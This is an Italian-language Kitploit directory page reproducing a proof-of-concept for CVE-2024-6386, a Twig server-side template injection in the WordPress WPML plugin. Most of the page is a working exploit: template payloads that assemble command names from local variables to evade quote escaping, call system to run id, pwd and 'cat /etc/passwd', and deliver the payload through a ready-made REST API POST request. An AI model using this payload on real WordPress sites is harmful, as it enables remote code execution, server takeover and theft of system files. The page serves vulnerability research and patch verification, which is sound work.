Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/argendo/cve-2024-6386
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo Payload
GitHubargendo/cve-2024-6386

CVE-2024-6386

Ricerca e PoC per CVE-2024-6386

Vedi Repository
51 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-6386 - RCE tramite Twig SSTI in WPML

PoC

PoC su Python+Selenium

Ricerca dettagliata in russo: CVE-2024-6386

PoC example

CVSS

Punteggio base: 9.9

Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Sommario

In WPML hai la possibilità di utilizzare specifici WordPress Shortcodes che ti permettono di creare macro e renderizzare anche template Twig. Quindi puoi facilmente ottenere una SSTI da questo.

Catena

SSTI

Ad esempio, creiamo uno shortcode per sfruttare la SSTI:

root@kitploit:~
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]

In questo caso otterremo 4 come risultato del rendering del nostro shortcode.

RCE

A causa della codifica in HTML di tutti i tipi di virgolette da parte di WordPress, non siamo in grado di utilizzare payload tipici, come:

root@kitploit:~
{{['id']|filter('system')}}

Tuttavia possiamo modificare questo payload per chiamare comandi del sistema operativo usando variabili-lettera come: (s = 's').

Per fare questo dobbiamo richiamare alcune variabili locali come:

  • css_classes
  • languages

La prima ci restituirà una stringa: wpml-ls-statics-shortcode_actions wpml-ls. La seconda restituisce un oggetto Array di lingue.

Con il suo aiuto possiamo estrarre i simboli che ci servono e creare il nostro alfabeto.

Quindi, qui creiamo un alfabeto: [<space> ,a, c, i, d, s, y, t, e, m, p, w ]

E sì, dobbiamo concatenare languages con un valore vuoto per ottenere una stringa con valore "Array".

root@kitploit:~
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

Quindi, dopo questo, possiamo concatenare il nostro alfabeto per creare i payload:

root@kitploit:~
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}

Sfruttamento con Burp Suite

Comando

root@kitploit:~
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com

{
    "id":30,
    "content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}

Risultato del listing

root@kitploit:~
GET /?p=30 HTTP/1.1
Host: vulned.com
Scarica lo strumento